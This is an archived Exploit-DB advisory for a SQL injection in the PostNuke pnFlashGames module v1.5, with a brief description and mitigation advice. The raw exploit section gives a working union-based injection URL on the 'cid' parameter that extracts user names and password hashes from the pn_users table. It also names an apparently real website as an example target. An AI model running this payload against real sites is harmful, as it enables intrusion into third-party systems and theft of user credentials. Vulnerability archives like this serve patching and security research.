PostNuke pnFlashGames Module v1.5 Remote SQL Injection

vendor:

pnFlashGames Module

by:

xoron

5.5

CVSS

MEDIUM

Remote SQL Injection

CWE

Product Name: pnFlashGames Module

Affected Version From: 1.5

Affected Version To: 1.5

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

PostNuke pnFlashGames Module v1.5 Remote SQL Injection

The vulnerability allows an attacker to inject SQL commands into the application's database. By manipulating the 'cid' parameter in the 'index.php?module=pnFlashGames&func=view' URL, an attacker can perform a union-based SQL injection and extract sensitive information from the database.

Mitigation:

To mitigate this vulnerability, developers should use parameterized queries or prepared statements to prevent SQL injection attacks. Additionally, input validation and sanitization should be implemented to ensure that user-supplied data is properly handled.

Source

Exploit-DB raw data:

============================================================

PostNuke pnFlashGames Module v1.5 REmote SQL Injection 

============================================================

Bulan: xoron


xoron.biz

+

Love's the funeral of hearts

The funeral of hearts
And a plea for mercy
When love is a gun
Separating me from you

:(

============================================================

Exploit: 
index.php?module=pnFlashGames&func=view&cid=-1/**/union/**/select/**/0,pn_uname,2,pn_pass,4,5,6,7,8,9,10,11,12,13/**/from/**/pn_users/**/where/**/pn_uid=2/*

============================================================

Example: http://andersonvision.com/PostNuke/
============================================================

# milw0rm.com [2007-04-28]